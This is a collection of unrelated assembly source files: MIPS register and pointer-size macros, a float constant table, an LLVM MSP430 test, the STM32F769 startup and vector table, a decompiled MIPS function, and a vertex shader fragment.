#define MOVZ(rd, rs, rt) \
.set push; \
.set noreorder; \
beqzl rt, 9f; \
move rd, rs; \
.set pop; \
9:
#endif /* (_MIPS_ISA == _MIPS_ISA_MIPS2) || (_MIPS_ISA == _MIPS_ISA_MIPS3) */
#if (_MIPS_ISA == _MIPS_ISA_MIPS4 ) || (_MIPS_ISA == _MIPS_ISA_MIPS5) || \
(_MIPS_ISA == _MIPS_ISA_MIPS32) || (_MIPS_ISA == _MIPS_ISA_MIPS64)
#define MOVN(rd, rs, rt) \
movn rd, rs, rt
#define MOVZ(rd, rs, rt) \
movz rd, rs, rt
#endif /* MIPS IV, MIPS V, MIPS32 or MIPS64 */
/*
* Stack alignment
*/
#if (_MIPS_SIM == _MIPS_SIM_ABI32)
#define ALSZ 7
#define ALMASK ~7
#endif
#if (_MIPS_SIM == _MIPS_SIM_NABI32) || (_MIPS_SIM == _MIPS_SIM_ABI64)
#define ALSZ 15
#define ALMASK ~15
#endif
/*
* Macros to handle different pointer/register sizes for 32/64-bit code
*/
/*
* Size of a register
*/
#ifdef __mips64
#define SZREG 8
#else
#define SZREG 4
#endif
/*
* Use the following macros in assemblercode to load/store registers,
* pointers etc.
*/
#if (_MIPS_SIM == _MIPS_SIM_ABI32)
#define REG_S sw
#define REG_L lw
#define REG_SUBU subu
#define REG_ADDU addu
#endif
#if (_MIPS_SIM == _MIPS_SIM_NABI32) || (_MIPS_SIM == _MIPS_SIM_ABI64)
#define REG_S sd
#define REG_L ld
#define REG_SUBU dsubu
#define REG_ADDU daddu
#endif
/*
* How to add/sub/load/store/shift C int variables.
*/
#if (_MIPS_SZINT == 32)
#define INT_ADD add
#define INT_ADDU addu
#define INT_ADDI addi
#define INT_ADDIU addiu
#define INT_SUB sub
#define INT_SUBU subu
#define INT_L lw
#define INT_S sw
#define INT_SLL sll
#define INT_SLLV sllv
#define INT_SRL srl
#define INT_SRLV srlv
#define INT_SRA sra
#define INT_SRAV srav
#endif
#if (_MIPS_SZINT == 64)
#define INT_ADD dadd
#define INT_ADDU daddu
#define INT_ADDI daddi
#define INT_ADDIU daddiu
#define INT_SUB dsub
#define INT_SUBU dsubu
#define INT_L ld
#define INT_S sd
#define INT_SLL dsll
#define INT_SLLV dsllv
#define INT_SRL dsrl
#define INT_SRLV dsrlv
#define INT_SRA dsra
#define INT_SRAV dsrav
#endif
/*
* How to add/sub/load/store/shift C long variables.
*/
#if (_MIPS_SZLONG == 32)
#define LONG_ADD add
#define LONG_ADDU addu
#define LONG_ADDI addi
#define LONG_ADDIU addiu
#define LONG_SUB sub
#define LONG_SUBU subu
#define LONG_L lw
#define LONG_S sw
#define LONG_SLL sll
#define LONG_SLLV sllv
#define LONG_SRL srl
#define LONG_SRLV srlv
#define LONG_SRA sra
#define LONG_SRAV srav
#define LONG .word
#define LONGSIZE 4
#define LONGMASK 3
#define LONGLOG 2
#endif
#if (_MIPS_SZLONG == 64)
#define LONG_ADD dadd
#define LONG_ADDU daddu
#define LONG_ADDI daddi
#define LONG_ADDIU daddiu
#define LONG_SUB dsub
#define LONG_SUBU dsubu
#define LONG_L ld
#define LONG_S sd
#define LONG_SLL dsll
#define LONG_SLLV dsllv
#define LONG_SRL dsrl
#define LONG_SRLV dsrlv
#define LONG_SRA dsra
#define LONG_SRAV dsrav
#define LONG .dword
#define LONGSIZE 8
#define LONGMASK 7
#define LONGLOG 3
#endif
/*
* How to add/sub/load/store/shift pointers.
*/
#if (_MIPS_SZPTR == 32)
#define PTR_ADD add
#define PTR_ADDU addu
#define PTR_ADDI addi
#define PTR_ADDIU addiu
#define PTR_SUB sub
#define PTR_SUBU subu
#define PTR_L lw
#define PTR_S sw
#define PTR_LA la
#define PTR_LI li
#define PTR_SLL sll
#define PTR_SLLV sllv
#define PTR_SRL srl
#define PTR_SRLV srlv
#define PTR_SRA sra
#define PTR_SRAV srav
#define PTR_SCALESHIFT 2
#define PTR .word
#define PTRSIZE 4
#define PTRLOG 2
#endif
#if (_MIPS_SZPTR == 64)
#define PTR_ADD dadd
#define PTR_ADDU daddu
#define PTR_ADDI daddi
#define PTR_ADDIU daddiu
#define PTR_SUB dsub
#define PTR_SUBU dsubu
#define PTR_L ld
#define PTR_S sd
#define PTR_LA dla
#define PTR_LI dli
#define PTR_SLL dsll
#define PTR_SLLV dsllv
#define PTR_SRL dsrl
#define PTR_SRLV dsrlv
#define PTR_SRA dsra
#define PTR_SRAV dsrav
#define PTR_SCALESHIFT 3
#define PTR .dword
#define PTRSIZE 8
#define PTRLOG 3
#endif
/*
* Some cp0 registers were extended to 64bit for MIPS III.
*/
#if (_MIPS_SIM == _MIPS_SIM_ABI32)
#define MFC0 mfc0
#define MTC0 mtc0
#endif
#if (_MIPS_SIM == _MIPS_SIM_NABI32) || (_MIPS_SIM == _MIPS_SIM_ABI64)
#define MFC0 dmfc0
#define MTC0 dmtc0
#endif
#define SSNOP sll zero, zero, 1
#ifdef CONFIG_SGI_IP28
/* Inhibit speculative stores to volatile (e.g.DMA) or invalid addresses. */
#include <asm/cacheops.h>
#define R10KCBARRIER(addr) cache Cache_Barrier, addr;
#else
#define R10KCBARRIER(addr)
#endif
#endif /* __ASM_ASM_H */
|
{
"language": "Assembly"
}
|
W
21
// 0.559857
0x3f0f52c3
// -0.086624
0xbdb167d1
// -0.161097
0xbe24f6a2
// -0.019741
0xbca1b780
// -0.355946
0xbeb63e9e
// -0.284964
0xbe91e6d3
// -0.430173
0xbedc3fac
// -0.238160
0xbe73e03b
// 0.568545
0x3f118c2f
// 0.334118
0x3eab1179
// -0.165600
0xbe299324
// -0.040567
0xbd26293d
// 0.004445
0x3b91a84b
// -0.000574
0xba16913c
// 0.000000
0x0
// 0.000000
0x0
// 0.000000
0x0
// 0.000000
0x0
// 0.000000
0x0
// 0.000000
0x0
// 0.000000
0x0
|
{
"language": "Assembly"
}
|
; RUN: llc < %s | grep 0x0021 | count 2
; PR4776
target datalayout = "e-p:16:8:8-i8:8:8-i16:8:8-i32:8:8"
target triple = "msp430-unknown-unknown"
@"\010x0021" = external global i8, align 1 ; <i8*> [#uses=2]
define zeroext i8 @foo(i8 zeroext %x) nounwind {
entry:
%retval = alloca i8 ; <i8*> [#uses=2]
%x.addr = alloca i8 ; <i8*> [#uses=2]
%tmp = alloca i8, align 1 ; <i8*> [#uses=2]
store i8 %x, i8* %x.addr
%tmp1 = load volatile i8* @"\010x0021" ; <i8> [#uses=1]
store i8 %tmp1, i8* %tmp
%tmp2 = load i8* %x.addr ; <i8> [#uses=1]
store volatile i8 %tmp2, i8* @"\010x0021"
%tmp3 = load i8* %tmp ; <i8> [#uses=1]
store i8 %tmp3, i8* %retval
%0 = load i8* %retval ; <i8> [#uses=1]
ret i8 %0
}
|
{
"language": "Assembly"
}
|
/**
******************************************************************************
* @file startup_stm32f769xx.s
* @author MCD Application Team
* @version V1.1.0
* @date 22-April-2016
* @brief STM32F769xx Devices vector table for GCC based toolchain.
* This module performs:
* - Set the initial SP
* - Set the initial PC == Reset_Handler,
* - Set the vector table entries with the exceptions ISR address
* - Branches to main in the C library (which eventually
* calls main()).
* After Reset the Cortex-M7 processor is in Thread mode,
* priority is Privileged, and the Stack is set to Main.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT 2016 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
.syntax unified
.cpu cortex-m7
.fpu softvfp
.thumb
.global g_pfnVectors
.global Default_Handler
/* start address for the initialization values of the .data section.
defined in linker script */
.word _sidata
/* start address for the .data section. defined in linker script */
.word _sdata
/* end address for the .data section. defined in linker script */
.word _edata
/* stack used for SystemInit_ExtMemCtl; always internal RAM used */
/**
* @brief This is the code that gets called when the processor first
* starts execution following a reset event. Only the absolutely
* necessary set is performed, after which the application
* supplied main() routine is called.
* @param None
* @retval : None
*/
.section .text.Reset_Handler
.weak Reset_Handler
.type Reset_Handler, %function
Reset_Handler:
ldr sp, =_estack /* set stack pointer */
/* Copy the data segment initializers from flash to SRAM */
movs r1, #0
b LoopCopyDataInit
CopyDataInit:
ldr r3, =_sidata
ldr r3, [r3, r1]
str r3, [r0, r1]
adds r1, r1, #4
LoopCopyDataInit:
ldr r0, =_sdata
ldr r3, =_edata
adds r2, r0, r1
cmp r2, r3
bcc CopyDataInit
/* Call the clock system initialization function.*/
bl SystemInit
/* Call static constructors */
//bl __libc_init_array
/* Call the application's entry point.*/
//bl main
// Calling the crt0 'cold-start' entry point. There __libc_init_array is called
// and when existing hardware_init_hook() and software_init_hook() before
// starting main(). software_init_hook() is available and has to be called due
// to initializsation when using rtos.
bl _start
bx lr
.size Reset_Handler, .-Reset_Handler
/**
* @brief This is the code that gets called when the processor receives an
* unexpected interrupt. This simply enters an infinite loop, preserving
* the system state for examination by a debugger.
* @param None
* @retval None
*/
.section .text.Default_Handler,"ax",%progbits
Default_Handler:
Infinite_Loop:
b Infinite_Loop
.size Default_Handler, .-Default_Handler
/******************************************************************************
*
* The minimal vector table for a Cortex M7. Note that the proper constructs
* must be placed on this to ensure that it ends up at physical address
* 0x0000.0000.
*
*******************************************************************************/
.section .isr_vector,"a",%progbits
.type g_pfnVectors, %object
.size g_pfnVectors, .-g_pfnVectors
g_pfnVectors:
.word _estack
.word Reset_Handler
.word NMI_Handler
.word HardFault_Handler
.word MemManage_Handler
.word BusFault_Handler
.word UsageFault_Handler
.word 0
.word 0
.word 0
.word 0
.word SVC_Handler
.word DebugMon_Handler
.word 0
.word PendSV_Handler
.word SysTick_Handler
/* External Interrupts */
.word WWDG_IRQHandler /* Window WatchDog */
.word PVD_IRQHandler /* PVD through EXTI Line detection */
.word TAMP_STAMP_IRQHandler /* Tamper and TimeStamps through the EXTI line */
.word RTC_WKUP_IRQHandler /* RTC Wakeup through the EXTI line */
.word FLASH_IRQHandler /* FLASH */
.word RCC_IRQHandler /* RCC */
.word EXTI0_IRQHandler /* EXTI Line0 */
.word EXTI1_IRQHandler /* EXTI Line1 */
.word EXTI2_IRQHandler /* EXTI Line2 */
.word EXTI3_IRQHandler /* EXTI Line3 */
.word EXTI4_IRQHandler /* EXTI Line4 */
.word DMA1_Stream0_IRQHandler /* DMA1 Stream 0 */
.word DMA1_Stream1_IRQHandler /* DMA1 Stream 1 */
.word DMA1_Stream2_IRQHandler /* DMA1 Stream 2 */
.word DMA1_Stream3_IRQHandler /* DMA1 Stream 3 */
.word DMA1_Stream4_IRQHandler /* DMA1 Stream 4 */
.word DMA1_Stream5_IRQHandler /* DMA1 Stream 5 */
.word DMA1_Stream6_IRQHandler /* DMA1 Stream 6 */
.word ADC_IRQHandler /* ADC1, ADC2 and ADC3s */
.word CAN1_TX_IRQHandler /* CAN1 TX */
.word CAN1_RX0_IRQHandler /* CAN1 RX0 */
.word CAN1_RX1_IRQHandler /* CAN1 RX1 */
.word CAN1_SCE_IRQHandler /* CAN1 SCE */
.word EXTI9_5_IRQHandler /* External Line[9:5]s */
.word TIM1_BRK_TIM9_IRQHandler /* TIM1 Break and TIM9 */
.word TIM1_UP_TIM10_IRQHandler /* TIM1 Update and TIM10 */
.word TIM1_TRG_COM_TIM11_IRQHandler /* TIM1 Trigger and Commutation and TIM11 */
.word TIM1_CC_IRQHandler /* TIM1 Capture Compare */
.word TIM2_IRQHandler /* TIM2 */
.word TIM3_IRQHandler /* TIM3 */
.word TIM4_IRQHandler /* TIM4 */
.word I2C1_EV_IRQHandler /* I2C1 Event */
.word I2C1_ER_IRQHandler /* I2C1 Error */
.word I2C2_EV_IRQHandler /* I2C2 Event */
.word I2C2_ER_IRQHandler /* I2C2 Error */
.word SPI1_IRQHandler /* SPI1 */
.word SPI2_IRQHandler /* SPI2 */
.word USART1_IRQHandler /* USART1 */
.word USART2_IRQHandler /* USART2 */
.word USART3_IRQHandler /* USART3 */
.word EXTI15_10_IRQHandler /* External Line[15:10]s */
.word RTC_Alarm_IRQHandler /* RTC Alarm (A and B) through EXTI Line */
.word OTG_FS_WKUP_IRQHandler /* USB OTG FS Wakeup through EXTI line */
.word TIM8_BRK_TIM12_IRQHandler /* TIM8 Break and TIM12 */
.word TIM8_UP_TIM13_IRQHandler /* TIM8 Update and TIM13 */
.word TIM8_TRG_COM_TIM14_IRQHandler /* TIM8 Trigger and Commutation and TIM14 */
.word TIM8_CC_IRQHandler /* TIM8 Capture Compare */
.word DMA1_Stream7_IRQHandler /* DMA1 Stream7 */
.word FMC_IRQHandler /* FMC */
.word SDMMC1_IRQHandler /* SDMMC1 */
.word TIM5_IRQHandler /* TIM5 */
.word SPI3_IRQHandler /* SPI3 */
.word UART4_IRQHandler /* UART4 */
.word UART5_IRQHandler /* UART5 */
.word TIM6_DAC_IRQHandler /* TIM6 and DAC1&2 underrun errors */
.word TIM7_IRQHandler /* TIM7 */
.word DMA2_Stream0_IRQHandler /* DMA2 Stream 0 */
.word DMA2_Stream1_IRQHandler /* DMA2 Stream 1 */
.word DMA2_Stream2_IRQHandler /* DMA2 Stream 2 */
.word DMA2_Stream3_IRQHandler /* DMA2 Stream 3 */
.word DMA2_Stream4_IRQHandler /* DMA2 Stream 4 */
.word ETH_IRQHandler /* Ethernet */
.word ETH_WKUP_IRQHandler /* Ethernet Wakeup through EXTI line */
.word CAN2_TX_IRQHandler /* CAN2 TX */
.word CAN2_RX0_IRQHandler /* CAN2 RX0 */
.word CAN2_RX1_IRQHandler /* CAN2 RX1 */
.word CAN2_SCE_IRQHandler /* CAN2 SCE */
.word OTG_FS_IRQHandler /* USB OTG FS */
.word DMA2_Stream5_IRQHandler /* DMA2 Stream 5 */
.word DMA2_Stream6_IRQHandler /* DMA2 Stream 6 */
.word DMA2_Stream7_IRQHandler /* DMA2 Stream 7 */
.word USART6_IRQHandler /* USART6 */
.word I2C3_EV_IRQHandler /* I2C3 event */
.word I2C3_ER_IRQHandler /* I2C3 error */
.word OTG_HS_EP1_OUT_IRQHandler /* USB OTG HS End Point 1 Out */
.word OTG_HS_EP1_IN_IRQHandler /* USB OTG HS End Point 1 In */
.word OTG_HS_WKUP_IRQHandler /* USB OTG HS Wakeup through EXTI */
.word OTG_HS_IRQHandler /* USB OTG HS */
.word DCMI_IRQHandler /* DCMI */
.word 0 /* Reserved */
.word RNG_IRQHandler /* RNG */
.word FPU_IRQHandler /* FPU */
.word UART7_IRQHandler /* UART7 */
.word UART8_IRQHandler /* UART8 */
.word SPI4_IRQHandler /* SPI4 */
.word SPI5_IRQHandler /* SPI5 */
.word SPI6_IRQHandler /* SPI6 */
.word SAI1_IRQHandler /* SAI1 */
.word LTDC_IRQHandler /* LTDC */
.word LTDC_ER_IRQHandler /* LTDC error */
.word DMA2D_IRQHandler /* DMA2D */
.word SAI2_IRQHandler /* SAI2 */
.word QUADSPI_IRQHandler /* QUADSPI */
.word LPTIM1_IRQHandler /* LPTIM1 */
.word CEC_IRQHandler /* HDMI_CEC */
.word I2C4_EV_IRQHandler /* I2C4 Event */
.word I2C4_ER_IRQHandler /* I2C4 Error */
.word SPDIF_RX_IRQHandler /* SPDIF_RX */
.word DSI_IRQHandler /* DSI */
.word DFSDM1_FLT0_IRQHandler /* DFSDM1 Filter 0 global Interrupt */
.word DFSDM1_FLT1_IRQHandler /* DFSDM1 Filter 1 global Interrupt */
.word DFSDM1_FLT2_IRQHandler /* DFSDM1 Filter 2 global Interrupt */
.word DFSDM1_FLT3_IRQHandler /* DFSDM1 Filter 3 global Interrupt */
.word SDMMC2_IRQHandler /* SDMMC2 */
.word CAN3_TX_IRQHandler /* CAN3 TX */
.word CAN3_RX0_IRQHandler /* CAN3 RX0 */
.word CAN3_RX1_IRQHandler /* CAN3 RX1 */
.word CAN3_SCE_IRQHandler /* CAN3 SCE */
.word JPEG_IRQHandler /* JPEG */
.word MDIOS_IRQHandler /* MDIOS */
/*******************************************************************************
*
* Provide weak aliases for each Exception handler to the Default_Handler.
* As they are weak aliases, any function with the same name will override
* this definition.
*
*******************************************************************************/
.weak NMI_Handler
.thumb_set NMI_Handler,Default_Handler
.weak HardFault_Handler
.thumb_set HardFault_Handler,Default_Handler
.weak MemManage_Handler
.thumb_set MemManage_Handler,Default_Handler
.weak BusFault_Handler
.thumb_set BusFault_Handler,Default_Handler
.weak UsageFault_Handler
.thumb_set UsageFault_Handler,Default_Handler
.weak SVC_Handler
.thumb_set SVC_Handler,Default_Handler
.weak DebugMon_Handler
.thumb_set DebugMon_Handler,Default_Handler
.weak PendSV_Handler
.thumb_set PendSV_Handler,Default_Handler
.weak SysTick_Handler
.thumb_set SysTick_Handler,Default_Handler
.weak WWDG_IRQHandler
.thumb_set WWDG_IRQHandler,Default_Handler
.weak PVD_IRQHandler
.thumb_set PVD_IRQHandler,Default_Handler
.weak TAMP_STAMP_IRQHandler
.thumb_set TAMP_STAMP_IRQHandler,Default_Handler
.weak RTC_WKUP_IRQHandler
.thumb_set RTC_WKUP_IRQHandler,Default_Handler
.weak FLASH_IRQHandler
.thumb_set FLASH_IRQHandler,Default_Handler
.weak RCC_IRQHandler
.thumb_set RCC_IRQHandler,Default_Handler
.weak EXTI0_IRQHandler
.thumb_set EXTI0_IRQHandler,Default_Handler
.weak EXTI1_IRQHandler
.thumb_set EXTI1_IRQHandler,Default_Handler
.weak EXTI2_IRQHandler
.thumb_set EXTI2_IRQHandler,Default_Handler
.weak EXTI3_IRQHandler
.thumb_set EXTI3_IRQHandler,Default_Handler
.weak EXTI4_IRQHandler
.thumb_set EXTI4_IRQHandler,Default_Handler
.weak DMA1_Stream0_IRQHandler
.thumb_set DMA1_Stream0_IRQHandler,Default_Handler
.weak DMA1_Stream1_IRQHandler
.thumb_set DMA1_Stream1_IRQHandler,Default_Handler
.weak DMA1_Stream2_IRQHandler
.thumb_set DMA1_Stream2_IRQHandler,Default_Handler
.weak DMA1_Stream3_IRQHandler
.thumb_set DMA1_Stream3_IRQHandler,Default_Handler
.weak DMA1_Stream4_IRQHandler
.thumb_set DMA1_Stream4_IRQHandler,Default_Handler
.weak DMA1_Stream5_IRQHandler
.thumb_set DMA1_Stream5_IRQHandler,Default_Handler
.weak DMA1_Stream6_IRQHandler
.thumb_set DMA1_Stream6_IRQHandler,Default_Handler
.weak ADC_IRQHandler
.thumb_set ADC_IRQHandler,Default_Handler
.weak CAN1_TX_IRQHandler
.thumb_set CAN1_TX_IRQHandler,Default_Handler
.weak CAN1_RX0_IRQHandler
.thumb_set CAN1_RX0_IRQHandler,Default_Handler
.weak CAN1_RX1_IRQHandler
.thumb_set CAN1_RX1_IRQHandler,Default_Handler
.weak CAN1_SCE_IRQHandler
.thumb_set CAN1_SCE_IRQHandler,Default_Handler
.weak EXTI9_5_IRQHandler
.thumb_set EXTI9_5_IRQHandler,Default_Handler
.weak TIM1_BRK_TIM9_IRQHandler
.thumb_set TIM1_BRK_TIM9_IRQHandler,Default_Handler
.weak TIM1_UP_TIM10_IRQHandler
.thumb_set TIM1_UP_TIM10_IRQHandler,Default_Handler
.weak TIM1_TRG_COM_TIM11_IRQHandler
.thumb_set TIM1_TRG_COM_TIM11_IRQHandler,Default_Handler
.weak TIM1_CC_IRQHandler
.thumb_set TIM1_CC_IRQHandler,Default_Handler
.weak TIM2_IRQHandler
.thumb_set TIM2_IRQHandler,Default_Handler
.weak TIM3_IRQHandler
.thumb_set TIM3_IRQHandler,Default_Handler
.weak TIM4_IRQHandler
.thumb_set TIM4_IRQHandler,Default_Handler
.weak I2C1_EV_IRQHandler
.thumb_set I2C1_EV_IRQHandler,Default_Handler
.weak I2C1_ER_IRQHandler
.thumb_set I2C1_ER_IRQHandler,Default_Handler
.weak I2C2_EV_IRQHandler
.thumb_set I2C2_EV_IRQHandler,Default_Handler
.weak I2C2_ER_IRQHandler
.thumb_set I2C2_ER_IRQHandler,Default_Handler
.weak SPI1_IRQHandler
.thumb_set SPI1_IRQHandler,Default_Handler
.weak SPI2_IRQHandler
.thumb_set SPI2_IRQHandler,Default_Handler
.weak USART1_IRQHandler
.thumb_set USART1_IRQHandler,Default_Handler
.weak USART2_IRQHandler
.thumb_set USART2_IRQHandler,Default_Handler
.weak USART3_IRQHandler
.thumb_set USART3_IRQHandler,Default_Handler
.weak EXTI15_10_IRQHandler
.thumb_set EXTI15_10_IRQHandler,Default_Handler
.weak RTC_Alarm_IRQHandler
.thumb_set RTC_Alarm_IRQHandler,Default_Handler
.weak OTG_FS_WKUP_IRQHandler
.thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler
.weak TIM8_BRK_TIM12_IRQHandler
.thumb_set TIM8_BRK_TIM12_IRQHandler,Default_Handler
.weak TIM8_UP_TIM13_IRQHandler
.thumb_set TIM8_UP_TIM13_IRQHandler,Default_Handler
.weak TIM8_TRG_COM_TIM14_IRQHandler
.thumb_set TIM8_TRG_COM_TIM14_IRQHandler,Default_Handler
.weak TIM8_CC_IRQHandler
.thumb_set TIM8_CC_IRQHandler,Default_Handler
.weak DMA1_Stream7_IRQHandler
.thumb_set DMA1_Stream7_IRQHandler,Default_Handler
.weak FMC_IRQHandler
.thumb_set FMC_IRQHandler,Default_Handler
.weak SDMMC1_IRQHandler
.thumb_set SDMMC1_IRQHandler,Default_Handler
.weak TIM5_IRQHandler
.thumb_set TIM5_IRQHandler,Default_Handler
.weak SPI3_IRQHandler
.thumb_set SPI3_IRQHandler,Default_Handler
.weak UART4_IRQHandler
.thumb_set UART4_IRQHandler,Default_Handler
.weak UART5_IRQHandler
.thumb_set UART5_IRQHandler,Default_Handler
.weak TIM6_DAC_IRQHandler
.thumb_set TIM6_DAC_IRQHandler,Default_Handler
.weak TIM7_IRQHandler
.thumb_set TIM7_IRQHandler,Default_Handler
.weak DMA2_Stream0_IRQHandler
.thumb_set DMA2_Stream0_IRQHandler,Default_Handler
.weak DMA2_Stream1_IRQHandler
.thumb_set DMA2_Stream1_IRQHandler,Default_Handler
.weak DMA2_Stream2_IRQHandler
.thumb_set DMA2_Stream2_IRQHandler,Default_Handler
.weak DMA2_Stream3_IRQHandler
.thumb_set DMA2_Stream3_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak ETH_IRQHandler
.thumb_set ETH_IRQHandler,Default_Handler
.weak ETH_WKUP_IRQHandler
.thumb_set ETH_WKUP_IRQHandler,Default_Handler
.weak CAN2_TX_IRQHandler
.thumb_set CAN2_TX_IRQHandler,Default_Handler
.weak CAN2_RX0_IRQHandler
.thumb_set CAN2_RX0_IRQHandler,Default_Handler
.weak CAN2_RX1_IRQHandler
.thumb_set CAN2_RX1_IRQHandler,Default_Handler
.weak CAN2_SCE_IRQHandler
.thumb_set CAN2_SCE_IRQHandler,Default_Handler
.weak OTG_FS_IRQHandler
.thumb_set OTG_FS_IRQHandler,Default_Handler
.weak DMA2_Stream5_IRQHandler
.thumb_set DMA2_Stream5_IRQHandler,Default_Handler
.weak DMA2_Stream6_IRQHandler
.thumb_set DMA2_Stream6_IRQHandler,Default_Handler
.weak DMA2_Stream7_IRQHandler
.thumb_set DMA2_Stream7_IRQHandler,Default_Handler
.weak USART6_IRQHandler
.thumb_set USART6_IRQHandler,Default_Handler
.weak I2C3_EV_IRQHandler
.thumb_set I2C3_EV_IRQHandler,Default_Handler
.weak I2C3_ER_IRQHandler
.thumb_set I2C3_ER_IRQHandler,Default_Handler
.weak OTG_HS_EP1_OUT_IRQHandler
.thumb_set OTG_HS_EP1_OUT_IRQHandler,Default_Handler
.weak OTG_HS_EP1_IN_IRQHandler
.thumb_set OTG_HS_EP1_IN_IRQHandler,Default_Handler
.weak OTG_HS_WKUP_IRQHandler
.thumb_set OTG_HS_WKUP_IRQHandler,Default_Handler
.weak OTG_HS_IRQHandler
.thumb_set OTG_HS_IRQHandler,Default_Handler
.weak DCMI_IRQHandler
.thumb_set DCMI_IRQHandler,Default_Handler
.weak RNG_IRQHandler
.thumb_set RNG_IRQHandler,Default_Handler
.weak FPU_IRQHandler
.thumb_set FPU_IRQHandler,Default_Handler
.weak UART7_IRQHandler
.thumb_set UART7_IRQHandler,Default_Handler
.weak UART8_IRQHandler
.thumb_set UART8_IRQHandler,Default_Handler
.weak SPI4_IRQHandler
.thumb_set SPI4_IRQHandler,Default_Handler
.weak SPI5_IRQHandler
.thumb_set SPI5_IRQHandler,Default_Handler
.weak SPI6_IRQHandler
.thumb_set SPI6_IRQHandler,Default_Handler
.weak SAI1_IRQHandler
.thumb_set SAI1_IRQHandler,Default_Handler
.weak LTDC_IRQHandler
.thumb_set LTDC_IRQHandler,Default_Handler
.weak LTDC_ER_IRQHandler
.thumb_set LTDC_ER_IRQHandler,Default_Handler
.weak DMA2D_IRQHandler
.thumb_set DMA2D_IRQHandler,Default_Handler
.weak SAI2_IRQHandler
.thumb_set SAI2_IRQHandler,Default_Handler
.weak QUADSPI_IRQHandler
.thumb_set QUADSPI_IRQHandler,Default_Handler
.weak LPTIM1_IRQHandler
.thumb_set LPTIM1_IRQHandler,Default_Handler
.weak CEC_IRQHandler
.thumb_set CEC_IRQHandler,Default_Handler
.weak I2C4_EV_IRQHandler
.thumb_set I2C4_EV_IRQHandler,Default_Handler
.weak I2C4_ER_IRQHandler
.thumb_set I2C4_ER_IRQHandler,Default_Handler
.weak SPDIF_RX_IRQHandler
.thumb_set SPDIF_RX_IRQHandler,Default_Handler
.weak DSI_IRQHandler
.thumb_set DSI_IRQHandler,Default_Handler
.weak DFSDM1_FLT0_IRQHandler
.thumb_set DFSDM1_FLT0_IRQHandler,Default_Handler
.weak DFSDM1_FLT1_IRQHandler
.thumb_set DFSDM1_FLT1_IRQHandler,Default_Handler
.weak DFSDM1_FLT2_IRQHandler
.thumb_set DFSDM1_FLT2_IRQHandler,Default_Handler
.weak DFSDM1_FLT3_IRQHandler
.thumb_set DFSDM1_FLT3_IRQHandler,Default_Handler
.weak SDMMC2_IRQHandler
.thumb_set SDMMC2_IRQHandler,Default_Handler
.weak CAN3_TX_IRQHandler
.thumb_set CAN3_TX_IRQHandler,Default_Handler
.weak CAN3_RX0_IRQHandler
.thumb_set CAN3_RX0_IRQHandler,Default_Handler
.weak CAN3_RX1_IRQHandler
.thumb_set CAN3_RX1_IRQHandler,Default_Handler
.weak CAN3_SCE_IRQHandler
.thumb_set CAN3_SCE_IRQHandler,Default_Handler
.weak JPEG_IRQHandler
.thumb_set JPEG_IRQHandler,Default_Handler
.weak MDIOS_IRQHandler
.thumb_set MDIOS_IRQHandler,Default_Handler
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
{
"language": "Assembly"
}
|
glabel func_8083379C
/* 0158C 8083379C AFA40000 */ sw $a0, 0x0000($sp)
/* 01590 808337A0 8CAE067C */ lw $t6, 0x067C($a1) ## 0000067C
/* 01594 808337A4 80B80151 */ lb $t8, 0x0151($a1) ## 00000151
/* 01598 808337A8 2401000F */ addiu $at, $zero, 0x000F ## $at = 0000000F
/* 0159C 808337AC 35CF0008 */ ori $t7, $t6, 0x0008 ## $t7 = 00000008
/* 015A0 808337B0 13010004 */ beq $t8, $at, .L808337C4
/* 015A4 808337B4 ACAF067C */ sw $t7, 0x067C($a1) ## 0000067C
/* 015A8 808337B8 2419FFFF */ addiu $t9, $zero, 0xFFFF ## $t9 = FFFFFFFF
/* 015AC 808337BC 03E00008 */ jr $ra
/* 015B0 808337C0 A4B90860 */ sh $t9, 0x0860($a1) ## 00000860
.L808337C4:
/* 015B4 808337C4 2408FFFE */ addiu $t0, $zero, 0xFFFE ## $t0 = FFFFFFFE
/* 015B8 808337C8 A4A80860 */ sh $t0, 0x0860($a1) ## 00000860
/* 015BC 808337CC 03E00008 */ jr $ra
/* 015C0 808337D0 00000000 */ nop
|
{
"language": "Assembly"
}
|
; Vertex Data:
; v0 - Position
; v1 - Normal
; v2 - uv1
;
; Constant Data:
; c0 - Constant Vector (Scale, 0.0, 1.0, 2.0)
; c1:c4 - ModelViewProj Matrix
; c5 - Light direction
; c6 - Light color
vs.1.1
// Scale normal by the requested scale (and add to new position)...
LT_MACRO_IFRIGID<mul r3, v1, c0.xxxy>
LT_MACRO_IFSKIN<mul r3, v3, c0.xxxy>
add r3, v0, r3
// transform position (all the way)...
LT_MACRO_RIGIDTRANS4<oPos,r3,c6> // Rigid Transform...
